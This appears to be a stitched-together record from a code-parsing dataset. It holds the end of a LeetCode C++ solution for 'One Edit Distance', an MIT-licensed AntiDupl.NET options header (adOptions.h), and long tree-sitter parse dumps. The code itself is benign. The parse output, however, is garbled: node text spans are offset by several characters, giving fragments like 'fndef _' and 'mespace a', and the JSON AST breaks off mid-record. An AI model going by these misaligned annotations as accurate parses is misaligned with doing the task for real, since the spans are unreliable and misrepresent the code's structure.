"returns": [100, 102, 177, 179, 234, 236, 242], "exceptions": []}, "expressions": {"calls": [], "literals": [40, 48, 52, 56, 99, 107, 117, 125, 129, 133, 176, 184, 199, 206, 233, 240], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 0, "universal_type": "function", "name": "Solution", "text_snippet": "class Solution {\npublic:\n bool isOneEditDistance(string s, string t) {\n const int M = s.le"}, {"node_id": 5, "universal_type": "function", "name": "t)", "text_snippet": "isOneEditDistance(string s, string t)"}], "class_declarations": [], "import_statements": []}, "original_source_code": "// 161. One Edit Distance\n// https://leetcode.com/problems/one-edit-distance/\n\n// Runtime: 4 ms, faster than 56.72% of C++ online submissions for One Edit Distance.\n// Memory Usage: 6.9 MB, less than 61.21% of C++ online submissions for One Edit Distance.\n \nclass Solution {\npublic:\n bool isOneEditDistance(string s, string t) {\n const int M = s.length();\n const int N = t.length();\n if (M + 1 == N) {\n int i = 0, j = 0, d = 0;\n while (j < N) {\n if (i < M && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // insert before s[i]\n ++j;\n if (++d > 1) \n return false;\n }\n }\n return i + 1 == j;\n } else if (M - 1 == N) {\n int i = 0, j = 0, d = 0;\n while (i < M) {\n if (j < N && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }\n }\n return i - 1 == j;\n } else if (M == N) {\n int r = 0;\n for (int i = 0; i < M; ++i) {\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }\n return r == 1;\n } else {\n return false;\n }\n }\n};"}
81,100
c
/* * AntiDupl.NET Program (http://ermig1979.github.io/AntiDupl). * * Copyright (c) 2002-2018 <NAME>. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #ifndef __adOptions_h__ #define __adOptions_h__ #include <list> #include <limits.h> #include "adPath.h" namespace ad { //------------------------------------------------------------------------- class TOption { public: TOption(int *pValue, const TChar* section, const TChar* key, int default, int min = INT_MIN, int max = INT_MAX); ~TOption(){}; void SetDefault(); void Validate(); void Load(const TChar *fileName); bool Save(const TChar *fileName) const; private: int *m_pValue; TString m_key; TString m_section; int m_default; //значение по умолчанию int m_min; int m_max; //максимальное }; //------------------------------------------------------------------------- struct TOptions { TString userPath; TString statisticsPath; TPathContainer searchPaths; TPathContainer ignorePaths; TPathContainer validPaths; TPathContainer deletePaths; adSearchOptions search; adCompareOptions compare; adDefectOptions defect; adAdvancedOptions advanced; TOptions(const TString & userPath_); void SetDefault(); void Validate(); adError Import(adOptionsType optionsType, void* pOptions); adError Export(adOptionsType optionsType, void* pOptions) const; adError Load(const TChar *fileName); adError Save(const TChar *fileName) const; int GetIgnoreWidthFrame() const; private: typedef std::list<TOption> TOptionsList; TOptionsList m_options; }; //------------------------------------------------------------------------- } #endif/*__adOptions_h__*/
30.92
95
(translation_unit) " \n* AntiDupl.NET Program (http://ermig1979.github.io/AntiDupl). \n* \n* Copyright (c) 2002-2018 <NAME>. \n* \n* Permission is hereby granted, free of charge, to any person obtaining a copy \n* of this software and associated documentation files (the "Software"), to deal \n* in the Software without restriction, including without limitation the rights \n* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n* copies of the Software, and to permit persons to whom the Software is \n* furnished to do so, subject to the following conditions: \n* \n* The above copyright notice and this permission notice shall be included in \n* all copies or substantial portions of the Software. \n* \n* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE \n* SOFTWARE. \n*/ \n#ifndef __adOptions_h__ \n#define __adOptions_h__ \n \n#include <list> \n \n#include <limits.h> \n \n \n#include "adPath.h" \n \nnamespace ad \n{ \n //------------------------------------------------------------------------- \n class TOption \n { \n public: \n TOption(int *pValue, const TChar* section, const TChar* key, int default, \n int min = INT_MIN, int max = INT_MAX); \n ~TOption(){}; \n \n void SetDefault(); \n void Validate(); \n \n void Load(const TChar *fileName); \n bool Save(const TChar *fileName) const; \n \n private: \n int *m_pValue; \n TString m_key; \n TString m_section; \n int m_default; //значение по умолчанию \n int m_min; \n int m_max; //максимальное \n }; \n //------------------------------------------------------------------------- \n struct TOptions \n { \n TString userPath; \n TString statisticsPath; \n \n TPathContainer searchPaths; \n TPathContainer ignorePaths; \n TPathContainer validPaths; \n TPathContainer deletePaths; \n \n adSearchOptions search; \n adCompareOptions compare; \n adDefectOptions defect; \n adAdvancedOptions advanced; \n \n TOptions(const TString & userPath_); \n \n void SetDefault(); \n void Validate(); \n \n adError Import(adOptionsType optionsType, void* pOptions); \n adError Export(adOptionsType optionsType, void* pOptions) const; \n \n adError Load(const TChar *fileName); \n adError Save(const TChar *fileName) const; \n \n int GetIgnoreWidthFrame() const; \n \n private: \n typedef std::list<TOption> TOptionsList; \n \n TOptionsList m_options; \n }; \n //------------------------------------------------------------------------- \n} \n \n#endif/*__adOptions_h__*/" (comment) " \n* AntiDupl.NET Program (http://ermig1979.github.io/AntiDupl). \n* \n* Copyright (c) 2002-2018 <NAME>. \n* \n* Permission is hereby granted, free of charge, to any person obtaining a copy \n* of this software and associated documentation files (the "Software"), to deal \n* in the Software without restriction, including without limitation the rights \n* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n* copies of the Software, and to permit persons to whom the Software is \n* furnished to do so, subject to the following conditions: \n* \n* The above copyright notice and this permission notice shall be included in \n* all copies or substantial portions of the Software. \n* \n* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE \n* SOFTWARE. \n*/ \n" (preproc_ifdef) "fndef __adOptions_h__ \n#define __adOptions_h__ \n \n#include <list> \n \n#include <limits.h> \n \n \n#include "adPath.h" \n \nnamespace ad \n{ \n //------------------------------------------------------------------------- \n class TOption \n { \n public: \n TOption(int *pValue, const TChar* section, const TChar* key, int default, \n int min = INT_MIN, int max = INT_MAX); \n ~TOption(){}; \n \n void SetDefault(); \n void Validate(); \n \n void Load(const TChar *fileName); \n bool Save(const TChar *fileName) const; \n \n private: \n int *m_pValue; \n TString m_key; \n TString m_section; \n int m_default; //значение по умолчанию \n int m_min; \n int m_max; //максимальное \n }; \n //------------------------------------------------------------------------- \n struct TOptions \n { \n TString userPath; \n TString statisticsPath; \n \n TPathContainer searchPaths; \n TPathContainer ignorePaths; \n TPathContainer validPaths; \n TPathContainer deletePaths; \n \n adSearchOptions search; \n adCompareOptions compare; \n adDefectOptions defect; \n adAdvancedOptions advanced; \n \n TOptions(const TString & userPath_); \n \n void SetDefault(); \n void Validate(); \n \n adError Import(adOptionsType optionsType, void* pOptions); \n adError Export(adOptionsType optionsType, void* pOptions) const; \n \n adError Load(const TChar *fileName); \n adError Save(const TChar *fileName) const; \n \n int GetIgnoreWidthFrame() const; \n \n private: \n typedef std::list<TOption> TOptionsList; \n \n TOptionsList m_options; \n }; \n //------------------------------------------------------------------------- \n} \n \n#endif/*__adOptions_h__*/" (#ifndef) "fndef _" (identifier) "adOptions_h__ \n" (preproc_def) "efine __adOptions_h__ \n \n" (#define) "efine _" (identifier) "adOptions_h__ \n" (preproc_include) "nclude <list> \n \n" (#include) "nclude <" (system_lib_string) "ist> \n" (preproc_include) "nclude <limits.h> \n \n" (#include) "nclude <" (system_lib_string) "imits.h> \n" (preproc_include) "nclude "adPath.h" \n \n" (#include) "nclude "" (string_literal) "dPath.h" \n" (") "d" (string_content) "Path.h" " (") "\n" (function_definition) "mespace ad \n{ \n //------------------------------------------------------------------------- \n class TOption \n { \n public: \n TOption(int *pValue, const TChar* section, const TChar* key, int default, \n int min = INT_MIN, int max = INT_MAX); \n ~TOption(){}; \n \n void SetDefault(); \n void Validate(); \n \n void Load(const TChar *fileName); \n bool Save(const TChar *fileName) const; \n \n private: \n int *m_pValue; \n TString m_key; \n TString m_section; \n int m_default; //значение по умолчанию \n int m_min; \n int m_max; //максимальное \n }; \n //------------------------------------------------------------------------- \n struct TOptions \n { \n TString userPath; \n TString statisticsPath; \n \n TPathContainer searchPaths; \n TPathContainer ignorePaths; \n TPathContainer validPaths; \n TPathContainer deletePaths; \n \n adSearchOptions search; \n adCompareOptions compare; \n adDefectOptions defect; \n adAdvancedOptions advanced; \n \n TOptions(const TString & userPath_); \n \n void SetDefault(); \n void Validate(); \n \n adError Import(adOptionsType optionsType, void* pOptions); \n adError Export(adOptionsType optionsType, void* pOptions) const; \n \n adError Load(const TChar *fileName); \n adError Save(const TChar *fileName) const; \n \n int GetIgnoreWidthFrame() const; \n \n private: \n typedef std::list<TOption> TOptionsList; \n \n TOptionsList m_options; \n }; \n //------------------------------------------------------------------------- \n} \n \n#endif/*__adOptions_h__*/" (type_identifier) "mespace a" (identifier) " \n" (compound_statement) "\n //------------------------------------------------------------------------- \n class TOption \n { \n public: \n TOption(int *pValue, const TChar* section, const TChar* key, int default, \n int min = INT_MIN, int max = INT_MAX); \n ~TOption(){}; \n \n void SetDefault(); \n void Validate(); \n \n void Load(const TChar *fileName); \n bool Save(const TChar *fileName) const; \n \n private: \n int *m_pValue; \n TString m_key; \n TString m_section; \n int m_default; //значение по умолчанию \n int m_min; \n int m_max; //максимальное \n }; \n //------------------------------------------------------------------------- \n struct TOptions \n { \n TString userPath; \n TString statisticsPath; \n \n TPathContainer searchPaths; \n TPathContainer ignorePaths; \n TPathContainer validPaths; \n TPathContainer deletePaths; \n \n adSearchOptions search; \n adCompareOptions compare; \n adDefectOptions defect; \n adAdvancedOptions advanced; \n \n TOptions(const TString & userPath_); \n \n void SetDefault(); \n void Validate(); \n \n adError Import(adOptionsType optionsType, void* pOptions); \n adError Export(adOptionsType optionsType, void* pOptions) const; \n \n adError Load(const TChar *fileName); \n adError Save(const TChar *fileName) const; \n \n int GetIgnoreWidthFrame() const; \n \n private: \n typedef std::list<TOption> TOptionsList; \n \n TOptionsList m_options; \n }; \n //------------------------------------------------------------------------- \n} \n \n#endif/*__adOptions_h__*/" ({) "\n" (comment) "------------------------------------------------------------------------- \n " (function_definition) "ass TOption \n { \n public: \n TOption(int *pValue, const TChar* section, const TChar* key, int default, \n int min = INT_MIN, int max = INT_MAX); \n ~TOption(){}; \n \n void SetDefault(); \n void Validate(); \n \n void Load(const TChar *fileName); \n bool Save(const TChar *fileName) const; \n \n private: \n int *m_pValue; \n TString m_key; \n TString m_section; \n int m_default; //значение по умолчанию \n int m_min; \n int m_max; //максимальное \n }; \n //------------------------" (type_identifier) "ass T" (identifier) "ption \n" (compound_statement) "\n public: \n TOption(int *pValue, const TChar* section, const TChar* key, int default, \n int min = INT_MIN, int max = INT_MAX); \n ~TOption(){}; \n \n void SetDefault(); \n void Validate(); \n \n void Load(const TChar *fileName); \n bool Save(const TChar *fileName) const; \n \n private: \n int *m_pValue; \n TString m_key; \n TString m_section; \n int m_default; //значение по умолчанию \n int m_min; \n int m_max; //максимальное \n }; \n //------------------------" ({) "\n" (labeled_statement) "blic: \n TOption(int *pValue, const TChar* section, const TChar* key, int default, \n int min = INT_MIN, int max = INT_MAX); \n" (statement_identifier) "blic: " (:) "\n" (expression_statement) "ption(int *pValue, const TChar* section, const TChar* key, int default, \n int min = INT_MIN, int max = INT_MAX); \n" (call_expression) "ption(int *pValue, const TChar* section, const TChar* key, int default, \n int min = INT_MIN, int max = INT_MAX); " (identifier) "ption(i" (argument_list) "nt *pValue, const TChar* section, const TChar* key, int default, \n int min = INT_MIN, int max = INT_MAX); " (() "n" (binary_expression) "t *pValue, " (identifier) "t *" (*) "V" (identifier) "alue, " (,) "c" (ERROR) "nst T" (identifier) "nst T" (binary_expression) "har* section, " (identifier) "har* " (*) "s" (identifier) "ction, " (,) "c" (ERROR) "nst T" (identifier) "nst T" (binary_expression) "har* key, " (identifier) "har* " (*) "k" (identifier) "y, " (,) "i" (ERROR) "t d" (identifier) "t d" (identifier) "fault, " (,) " " (ERROR) "t m" (identifier) "t m" (assignment_expression) "n = INT_MIN, " (identifier) "n =" (=) "I" (identifier) "T_MIN, " (,) "i" (ERROR) "t m" (identifier) "t m" (assignment_expression) "x = INT_MAX);" (identifier) "x =" (=) "I" (identifier) "T_MAX);" ()) " " (;) "\n" (expression_statement) "Option(){}" (unary_expression) "Option(){}" (~) "O" (call_expression) "ption(){}" (identifier) "ption()" (argument_list) "{}" (() "{" ()) "}" (;) "" (compound_statement) "; " ({) ";" (}) " " (expression_statement) "\n" (;) "\n" (declaration) "id SetDefault(); \n" (primitive_type) "id S" (function_declarator) "tDefault(); " (identifier) "tDefault()" (parameter_list) "; " (() ";" ()) " " (;) "\n" (declaration) "id Validate(); \n" (primitive_type) "id V" (function_declarator) "lidate(); " (identifier) "lidate()" (parameter_list) "; " (() ";" ()) " " (;) "\n" (declaration) "id Load(const TChar *fileName); \n" (primitive_type) "id L" (function_declarator) "ad(const TChar *fileName); " (identifier) "ad(c" (parameter_list) "onst TChar *fileName); " (() "o" (parameter_declaration) "nst TChar *fileName);" (type_qualifier) "nst T" (const) "nst T" (type_identifier) "har *" (pointer_declarator) "ileName);" (*) "i" (identifier) "leName);" ()) " " (;) "\n" (ERROR) "ol Save(const TChar *fileName) const; " (primitive_type) "ol S" (function_declarator) "ve(const TChar *fileName) const; " (identifier) "ve(c" (parameter_list) "onst TChar *fileName) c" (() "o" (parameter_declaration) "nst TChar *fileName) " (type_qualifier) "nst T" (const) "nst T" (type_identifier) "har *" (pointer_declarator) "ileName) " (*) "i" (identifier) "leName) " ()) "c" (identifier) "nst; " (expression_statement) "\n" (;) "\n" (labeled_statement) "ivate: \n int *m_pValue; \n" (statement_identifier) "ivate: " (:) "\n" (declaration) "t *m_pValue; \n" (primitive_type) "t *" (pointer_declarator) "_pValue; " (*) "_" (identifier) "pValue; " (;) "\n" (declaration) "tring m_key; \n" (type_identifier) "tring m" (identifier) "key; " (;) "\n" (declaration) "tring m_section; \n" (type_identifier) "tring m" (identifier) "section; " (;) "\n" (declaration) "t m_default; /" (primitive_type) "t m" (identifier) "default; " (;) "/" (comment) "значение по умолчанию \n int m_min; \n" (declaration) "nt m_max; " (primitive_type) "nt " (identifier) "_max;" (;) " " (declaration) "ьное \n " (primitive_type) "ьно" (identifier) " \n " (;) " " (comment) "; \n //------------------" (}) "-" (expression_statement) "-" (;) "-" (comment) "------------------------------------------ \n struct TOptions \n { \n " (struct_specifier) "String userPath; \n TString statisticsPath; \n \n TPathContainer searchPaths; \n TPathContainer ignorePaths; \n TPathContainer validPaths; \n TPathContainer deletePaths; \n \n adSearchOptions search; \n adCompareOptions compare; \n adDefectOptions defect; \n adAdvancedOptions advanced; \n \n TOptions(const TString & userPath_); \n \n void SetDefault(); \n void Validate(); \n \n adError Import(adOptionsType optionsType, void* pOptions); \n adError Export(adOptionsType optionsType, void* pOptions) const; \n \n adError Load(const TChar *fileName); \n adError Save(const TChar *fileName) const; \n \n int GetIgnoreWidthFrame() const; \n \n private: \n typedef std::list<TOption> TOptionsList; \n \n TOptionsList m_options; \n }; \n //------------------------" (struct) "String" (type_identifier) "userPath" (field_declaration_list) " TString statisticsPath; \n \n TPathContainer searchPaths; \n TPathContainer ignorePaths; \n TPathContainer validPaths; \n TPathContainer deletePaths; \n \n adSearchOptions search; \n adCompareOptions compare; \n adDefectOptions defect; \n adAdvancedOptions advanced; \n \n TOptions(const TString & userPath_); \n \n void SetDefault(); \n void Validate(); \n \n adError Import(adOptionsType optionsType, void* pOptions); \n adError Export(adOptionsType optionsType, void* pOptions) const; \n \n adError Load(const TChar *fileName); \n adError Save(const TChar *fileName) const; \n \n int GetIgnoreWidthFrame() const; \n \n private: \n typedef std::list<TOption> TOptionsList; \n \n TOptionsList m_options; \n }; \n //------------------------" ({) " " (field_declaration) "g statisticsPath;" (type_identifier) "g stati" (field_identifier) "ticsPath" (;) ";" (field_declaration) " TPathContainer search" (type_identifier) " TPath" (field_identifier) "ontainer searc" (;) "h" (field_declaration) " TPathContainer ignorePa" (type_identifier) " TPathConta" (field_identifier) "ner ignoreP" (;) "a" (field_declaration) " TPathContainer validPat" (type_identifier) " TPathConta" (field_identifier) "ner validPa" (;) "t" (field_declaration) " TPathContainer deletePa" (type_identifier) " TPathContai" (field_identifier) "er deleteP" (;) "a" (field_declaration) " adSearchOptions searc" (type_identifier) " adSearch" (field_identifier) "ptions sear" (;) "c" (field_declaration) "adCompareOptions compar" (type_identifier) "adCompareOption" (field_identifier) " compa" (;) "r" (field_declaration) " adDefectOptions defect;" (type_identifier) " adDefectOption" (field_identifier) " defect" (;) ";" (field_declaration) "adAdvancedOptions advan" (type_identifier) "adAdvancedOptio" (field_identifier) "s adva" (;) "n" (field_declaration) " TOptions(const TStrin" (type_identifier) " TOptions(co" (field_identifier) "st TStri" (;) "n" (field_declaration) "_); \n \n void SetDefault(); \n " (macro_type_specifier) "_); \n \n void SetDefault(); \n" (identifier) "_); \n \n " (() " " (type_descriptor) " void Se" (type_qualifier) " " (const) " " (type_identifier) "void Se" (ERROR) "Default(); " (&) "D" (identifier) "fault(); " ()) "\n" (;) " " (field_declaration) "Validate(); \n \n " (primitive_type) "Vali" (function_declarator) "ate(); \n \n " (field_identifier) "ate(); \n \n" (parameter_list) " " (() " " ()) " " (;) " " (field_declaration) "or Import(adOpti" (primitive_type) "or I" (function_declarator) "port(adOpt" (field_identifier) "port(adO" (parameter_list) "pt" (() "p" ()) "t" (;) "i" (field_declaration) "onsType, void* pOptions); \n adError Export(adOption" (type_identifier) "onsType" (function_declarator) " void* pOptions); \n adError Export(adOptio" (field_identifier) " void*" (parameter_list) " pOptions); \n adError Export(adOptio" (() " " (parameter_declaration) "pOptions); \n adErr" (type_identifier) "pOptions); \n " (identifier) " adErr" (,) "o" (parameter_declaration) " Export(adOpti" (primitive_type) " Exp" (pointer_declarator) "ort(adOpti" (*) "o" (identifier) "t(adOpti" ()) "o" (;) "n" (field_declaration) "onsType, void* pOptions) const; \n \n adError Load(const TC" (type_identifier) "onsType" (function_declarator) " void* pOptions) const; \n \n adError Load(c" (field_identifier) " void*" (parameter_list) " pOptions) const; \n \n adError Load(c" (() " " (parameter_declaration) "pOptions) const; \n \n " (type_identifier) "pOptions) con" (identifier) "t; \n \n " (,) " " (parameter_declaration) " adError Load(" (primitive_type) " adE" (pointer_declarator) "rror Load(" (*) "r" (identifier) "or Load(" ()) "c" (ERROR) "nst T" (identifier) "nst T" (;) "C" (field_declaration) "e); \n adError Save(const TCha" (type_identifier) "e); \n " (function_declarator) " adError Save(const TCh" (field_identifier) " " (parameter_list) " adError Save(const TCh" (() " " (parameter_declaration) "adError Save(const TC" (type_qualifier) "adErr" (const) "adErr" (type_identifier) "r Sav" (pointer_declarator) "(const TC" (*) "(" (identifier) "const TC" ()) "h" (;) "a" (field_declaration) "e) const; \n \n int GetIgnoreWidthFra" (type_identifier) "e) cons" (function_declarator) "; \n \n int GetIgnoreW" (field_identifier) "; \n " (parameter_list) "\n int GetIgnoreW" (() "\n" (parameter_declaration) " int GetIgnore" (type_qualifier) " " (const) " " (type_identifier) " int" (pointer_declarator) "GetIgnore" (*) "G" (identifier) "etIgnore" ()) "W" (ERROR) "dthFr" (identifier) "dthFr" (;) "a" (field_declaration) "\n \n private: \n typedef" (primitive_type) "\n \n" (function_declarator) " private: \n " (field_identifier) " private: \n " (parameter_list) " " (() " " ()) " " (ERROR) "ypede" (identifier) "ypede" (;) "f" (field_declaration) "st<TOption> TOptionsList; \n \n TOptionsList m_option" (type_identifier) "st<TOpt" (field_identifier) "" (bitfield_clause) "ion> TOptionsList; \n \n TOptionsList m_optio" (:) "i" (binary_expression) "nsList; \n \n TOptionsList m_optio" (binary_expression) "nsList; \n \n TOptio" (identifier) "nsList;" (ERROR) "\n \n " (identifier) "\n \n" (:) " " (:) " " (identifier) " " (<) " " (identifier) " TOptio" (>) "n" (identifier) "List m_optio" (;) "n" (field_declaration) " //-----------------" (type_identifier) " //------" (field_identifier) "---------" (;) "-" (}) "-" (;) "-" (comment) "------------------------------------------ \n} \n \n#endif/*__adOptions_h__*/" (}) "" (#endif) "" (comment) ""
354
11
{"language": "c", "success": true, "metadata": {"lines": 95, "avg_line_length": 30.92, "nodes": 242, "errors": 0, "source_hash": "f2fd999b4685c8d891ee9925eb3a4e2a2ca91b54c116097445e97fa61b0a41b9", "categorized_nodes": 180}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "fndef __adOptions_h__\r\n#define __adOptions_h__\r\n\r\n#include <list>\r\n\r\n#include <limits.h>\r\n\r\n\r\n#include \"adPath.h\"\r\n\r\nnamespace ad\r\n{\r\n //-------------------------------------------------------------------------\r\n class TOption\r\n {\r\n public:\r\n TOption(int *pValue, const TChar* section, const TChar* key, int default, \r\n int min = INT_MIN, int max = INT_MAX);\r\n ~TOption(){};\r\n\r\n void SetDefault();\r\n void Validate();\r\n\r\n void Load(const TChar *fileName);\r\n bool Save(const TChar *fileName) const;\r\n\r\n private:\r\n int *m_pValue;\r\n TString m_key;\r\n TString m_section;\r\n int m_default; //\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e\r\n int m_min;\r\n int m_max;\t//\u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0435\r\n };\r\n //-------------------------------------------------------------------------\r\n struct TOptions\r\n {\r\n TString userPath;\r\n TString statisticsPath;\r\n\r\n TPathContainer searchPaths;\r\n TPathContainer ignorePaths;\r\n TPathContainer validPaths;\r\n TPathContainer deletePaths;\r\n\r\n adSearchOptions search;\r\n adCompareOptions compare;\r\n adDefectOptions defect;\r\n adAdvancedOptions advanced;\r\n\r\n TOptions(const TString & userPath_);\r\n\r\n void SetDefault();\r\n void Validate();\r\n\r\n adError Import(adOptionsType optionsType, void* pOptions);\r\n adError Export(adOptionsType optionsType, void* pOptions) const;\r\n\r\n adError Load(const TChar *fileName);\r\n adError Save(const TChar *fileName) const;\r\n\r\n int GetIgnoreWidthFrame() const;\r\n\r\n private:\r\n typedef std::list<TOption> TOptionsList;\r\n\r\n TOptionsList m_options;\r\n };\r\n //-------------------------------------------------------------------------\r\n}\r\n\r\n#endif/*__adOptions_h__*/", "parent": null, "children": [1, 2, 3, 6, 9, 12, 15, 241], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 94, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "fndef _", "parent": 0, "children": [], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 23, "column": 7}}, {"id": 2, "type": "identifier", "text": "adOptions_h__\r\n", "parent": 0, "children": [], "start_point": {"row": 23, "column": 8}, "end_point": {"row": 23, "column": 23}}, {"id": 3, "type": "preproc_def", "text": "efine __adOptions_h__\r\n\r\n", "parent": 0, "children": [4, 5], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 25, "column": 0}}, {"id": 4, "type": "#define", "text": "efine _", "parent": 3, "children": [], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 7}}, {"id": 5, "type": "identifier", "text": "adOptions_h__\r\n", "parent": 3, "children": [], "start_point": {"row": 24, "column": 8}, "end_point": {"row": 24, "column": 23}}, {"id": 6, "type": "preproc_include", "text": "nclude <list>\r\n\r\n", "parent": 0, "children": [7, 8], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 27, "column": 0}}, {"id": 7, "type": "#include", "text": "nclude <", "parent": 6, "children": [], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 8}}, {"id": 8, "type": "system_lib_string", "text": "ist>\r\n", "parent": 6, "children": [], "start_point": {"row": 26, "column": 9}, "end_point": {"row": 26, "column": 15}}, {"id": 9, "type": "preproc_include", "text": "nclude <limits.h>\r\n\r\n", "parent": 0, "children": [10, 11], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 29, "column": 0}}, {"id": 10, "type": "#include", "text": "nclude <", "parent": 9, "children": [], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 28, "column": 8}}, {"id": 11, "type": "system_lib_string", "text": "imits.h>\r\n", "parent": 9, "children": [], "start_point": {"row": 28, "column": 9}, "end_point": {"row": 28, "column": 19}}, {"id": 12, "type": "preproc_include", "text": "nclude \"adPath.h\"\r\n\r\n", "parent": 0, "children": [13, 14], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 32, "column": 0}}, {"id": 13, "type": "#include", "text": "nclude \"", "parent": 12, "children": [], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 8}}, {"id": 14, "type": "string_literal", "text": "dPath.h\"\r\n", "parent": 12, "children": [], "start_point": {"row": 31, "column": 9}, "end_point": {"row": 31, "column": 19}}, {"id": 15, "type": "function_definition", "text": "mespace ad\r\n{\r\n //-------------------------------------------------------------------------\r\n class TOption\r\n {\r\n public:\r\n TOption(int *pValue, const TChar* section, const TChar* key, int default, \r\n int min = INT_MIN, int max = INT_MAX);\r\n ~TOption(){};\r\n\r\n void SetDefault();\r\n void Validate();\r\n\r\n void Load(const TChar *fileName);\r\n bool Save(const TChar *fileName) const;\r\n\r\n private:\r\n int *m_pValue;\r\n TString m_key;\r\n TString m_section;\r\n int m_default; //\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e\r\n int m_min;\r\n int m_max;\t//\u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0435\r\n };\r\n //-------------------------------------------------------------------------\r\n struct TOptions\r\n {\r\n TString userPath;\r\n TString statisticsPath;\r\n\r\n TPathContainer searchPaths;\r\n TPathContainer ignorePaths;\r\n TPathContainer validPaths;\r\n TPathContainer deletePaths;\r\n\r\n adSearchOptions search;\r\n adCompareOptions compare;\r\n adDefectOptions defect;\r\n adAdvancedOptions advanced;\r\n\r\n TOptions(const TString & userPath_);\r\n\r\n void SetDefault();\r\n void Validate();\r\n\r\n adError Import(adOptionsType optionsType, void* pOptions);\r\n adError Export(adOptionsType optionsType, void* pOptions) const;\r\n\r\n adError Load(const TChar *fileName);\r\n adError Save(const TChar *fileName) const;\r\n\r\n int GetIgnoreWidthFrame() const;\r\n\r\n private:\r\n typedef std::list<TOption> TOptionsList;\r\n\r\n TOptionsList m_options;\r\n };\r\n //-------------------------------------------------------------------------\r\n}\r\n\r\n#endif/*__adOptions_h__*/", "parent": 0, "children": [16, 17], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 92, "column": 1}}, {"id": 16, "type": "type_identifier", "text": "mespace a", "parent": 15, "children": [], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 9}}, {"id": 17, "type": "identifier", "text": "\r\n", "parent": 15, "children": [], "start_point": {"row": 33, "column": 10}, "end_point": {"row": 33, "column": 12}}, {"id": 18, "type": "function_definition", "text": "ass TOption\r\n {\r\n public:\r\n TOption(int *pValue, const TChar* section, const TChar* key, int default, \r\n int min = INT_MIN, int max = INT_MAX);\r\n ~TOption(){};\r\n\r\n void SetDefault();\r\n void Validate();\r\n\r\n void Load(const TChar *fileName);\r\n bool Save(const TChar *fileName) const;\r\n\r\n private:\r\n int *m_pValue;\r\n TString m_key;\r\n TString m_section;\r\n int m_default; //\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e\r\n int m_min;\r\n int m_max;\t//\u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0435\r\n };\r\n //------------------------", "parent": 15, "children": [19, 20], "start_point": {"row": 36, "column": 4}, "end_point": {"row": 56, "column": 5}}, {"id": 19, "type": "type_identifier", "text": "ass T", "parent": 18, "children": [], "start_point": {"row": 36, "column": 4}, "end_point": {"row": 36, "column": 9}}, {"id": 